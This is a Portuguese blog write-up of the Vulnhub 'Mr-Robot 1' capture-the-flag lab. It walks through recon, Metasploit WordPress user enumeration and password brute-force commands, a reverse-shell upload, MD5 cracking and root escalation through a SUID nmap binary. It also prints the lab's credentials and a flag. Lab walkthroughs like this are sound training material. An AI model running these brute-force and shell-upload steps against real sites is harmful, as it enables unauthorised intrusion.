WriteUp MrRobot 1

Esse post é sobre a box Mr-Robot 1, fornecida pelo Vulnhub. Essa box é bem interessante pois tem uma tematica maneira e tem bastante detalhes não necessariamente relacionados com o desafio, mas sim com o seriado.

O objetivo dessa box é capturar 3 bandeiras, de acordo com a descrição da VM fornecida pelo autor na plataforma do VulnHub. Dá para deduzir que vão ser diferentes níveis de acesso, onde as flags vão ser encontradas.

VulnHubMachineName: Mr-Robot: 1
Resource: https://www.vulnhub.com/entry/mr-robot-1,151/
Serie: https://www.vulnhub.com/series/mr-robot,84/
Target IP: 172.16.0.107( o endereço IP do target muda durante o post)
Descrição:

Reconhecimento

Durante a etapa de reconhecimento, o alvo demonstrou possuir poucas aplicações, num total de três, sendo duas aplicações Web HTTP 80/TCP e HTTPS 443/TCP. Existe um terceiro serviço operando na porta 22/TCP com banner da aplicação SSH porém, ferramentas indicam existir bloqueio de firewall.

Portas 80/TCP e 443/TCP foram identificadas como abertas na etapa de reconhecimento.

Os testes foram concentrados nas aplicações web, HTTP 80/TCP e HTTPS 443/TCP. Em uma primeira etapa de reconhecimento das aplicações web, foi identificado que existe um arquivo robots.txt, a primeira flag se encontra nesse arquivo.

Um script NSE do Nmap(http-enum.nse) identificou alguns diretórios típicos de uma estrutura do CMS WordPress, como por exemplo /wp-admin/. Outro arquivo interessante foi o arquivo robots.txt.

Script NSE identificou a existência de arquivos que identificam a aplicação como WordPress.
Arquivo Robots.txt possui referência para a primeira flag.

Outro arquivo encontrado no robots.txt foi o arquivo fsocity.dic. Esse arquivo aparenta ser uma wordlist não ordenada, a principio possui 858160 wordlists. Um tratamento foi realizado nessa wordlist para remover duplicados, e no final do processo a lista possuia 11451 linhas.

Remoção de linhas duplicadas em arquivo de wordlist.

A execução do scanner de aplicação web mikto, revelou o arquivo: https://172.16.0.107/license.txt. Esse arquivo é uma licença do wordpress com informações de versão e relacionados, expõe que o CMS é um wordpress e qual a versão que está operando no mesmo, caso ninguém tenha adulterado

Exploração.

Se tratando de uma aplicação no WordPress, alguns módulos do metasploit foram adotados para direcionar as validações, o primeiro deles foi o módulo auxiliar wordpress_login_enum. Esse módulo tem como objetivo enumerar os usuários da aplicação. A wordlist utilizada foi retirada do projeto SecLists, /SecLists/Usernames/Names/names.txt.

No primeiro ataque de brute force, o objetivo é enumerar os usuários cadastrados na aplicação do alvo. O módulo wordpress_login_enum consegue realizar essa tarefa normalmente.

msf5 > use scanner/http/wordpress_login_enum
msf5 auxiliary(scanner/http/wordpress_login_enum) > set WPCHECK false
WPCHECK => false
msf5 auxiliary(scanner/http/wordpress_login_enum) > set USER_FILE /opt/SecLists/Usernames/Names/names.txt
USER_FILE => /opt/SecLists/Usernames/Names/names.txt
msf5 auxiliary(scanner/http/wordpress_login_enum) >  set bruteforce false
bruteforce => false
msf5 auxiliary(scanner/http/wordpress_login_enum) > set threads 100
threads => 100
msf5 auxiliary(scanner/http/wordpress_login_enum) > set verbose false
verbose => false
msf5 auxiliary(scanner/http/wordpress_login_enum) > set RHOSTS 192.168.1.88
RHOSTS => 192.168.1.88
msf5 auxiliary(scanner/http/wordpress_login_enum) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/http/wordpress_login_enum) > run 
Enumeração de usuários identificou usuário elliot

O primeiro processo de enumeração de usuários retornou um usuário válido de username elliot. Uma segunda etapa com o mesmo módulo do metasploit vai realizar o bruteforce para enumerar a credencial do usuário. Nesse ataque, a versão processada da wordlist encontrad anteriormente vai ser usada como passwords a serem testadas contra o alvo.

msf5 auxiliary(scanner/http/wordpress_login_enum) > unset USER_FILE 
Unsetting USER_FILE...
msf5 auxiliary(scanner/http/wordpress_login_enum) > set VALIDATE_USERS false
VALIDATE_USERS => false
msf5 auxiliary(scanner/http/wordpress_login_enum) > set bruteforce true
bruteforce => true
msf5 auxiliary(scanner/http/wordpress_login_enum) > set PASS_FILE /tmp/wordlist.txt
PASS_FILE => /tmp/wordlist.txt
msf5 auxiliary(scanner/http/wordpress_login_enum) > set username elliot 
username => elliot
msf5 auxiliary(scanner/http/wordpress_login_enum) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true

O segundo ataque de força bruta para identificar a password do usuário elliot obteve exito, agora temos credenciais válidas na aplicação(elliot:ER28-0652). A próxima etapa da exploração poderia ter sido realizada sem o metasploit, por exemplo, substituindo os arquivos de alguma página por código malicioso que atuasse como uma webshelle e logo então uma conexão reversa. Porém, contudo, metasploit está ai pra facilitar então o módulo wp_admin_shell_upload foi escolhido para realizar o upload de uma shell.

Conexão reversa recebida com sucesso.

Ao receber a conexão reversa no metasploit, é possível identificar que o usuário que está com nosso processo é o usuário de uid=1(daemon).

Verificação de privilégios.

Privilege Escalation

No diretório $HOME do usuário robot(/home/robot) foi possível identificar a segunda flag, key-2-of-3.txt. Contudo o acesso ao arquivo key-2-of-3.txt está negado, entretanto, no mesmo diretório existe um arquivo password.raw-md5 que aparenta ser uma hash MD5, esse arquivo tem permissão de leitura para outros(o=r) usuários. A hash(robot:c3fcd3d76192e4007dfb496cca67e13b) encontrada no arquivo foi submetida na plataforma crackstation e retornou a senha que originou aquela hash, em texto claro.

Quebra de hash md5 identificou a senha abcdefghijklmnopqrstuvwxyz

Foi identificado que o usuário robot no sistema operacional alvo utiliza essa senha como senha de usuário local. A partir disso foi possível logar com o usuário robot, alterando o uid para 1002(robot)

Lateralização para usuário robot

Com o usuário robot, temos acesso a leitura ao arquivo key-2-of-3.txt, então podemos matar essa flag.

$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959

O utilitário LinEnum(https://github.com/rebootuser/LinEnum) foi utilizado para automatizar a etapa de reconhecimento para a escalação de privilégios.

Identificação de binário nmap no sistema operacional.

O programa indicou a existência do binário nmap no sistema. Esse programa possui um modo interativo e além disso, o binário está com o SUID habilitado, tendo como owner o usuário root.

$ whereis nmap
whereis nmap
nmap: /usr/local/bin/nmap
$ ls -l /usr/local/bin/nmap
ls -l /usr/local/bin/nmap
-rwsr-xr-x 1 root root 504736 Nov 13  2015 /usr/local/bin/nmap
Escalação de privilégios para usuário root através de feature interativa do nmap.

Conclusão

Essa box pesa muito no CMS wordpress e em reconhecimento. Outro detalhe interessante, a box foi lançada em 28 Jun 2016 e por ser um WordPress, saiu muitas outras falhas para os plugins e relacionados.

Mais um detalhe, uma coisa que me fez passar raiva foi o metasploit no módulo de enumeração de usuários do wordpress, por algum motivo nessa nova atualização dele(msf 5), ele tem uma trigger para tentar identificar se o alvo é um wordpress mesmo, então até eu entender porquê ele se recusava a executar foi uma porradaria com o manual. Tech issues, yea

Fontes/Recursos

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.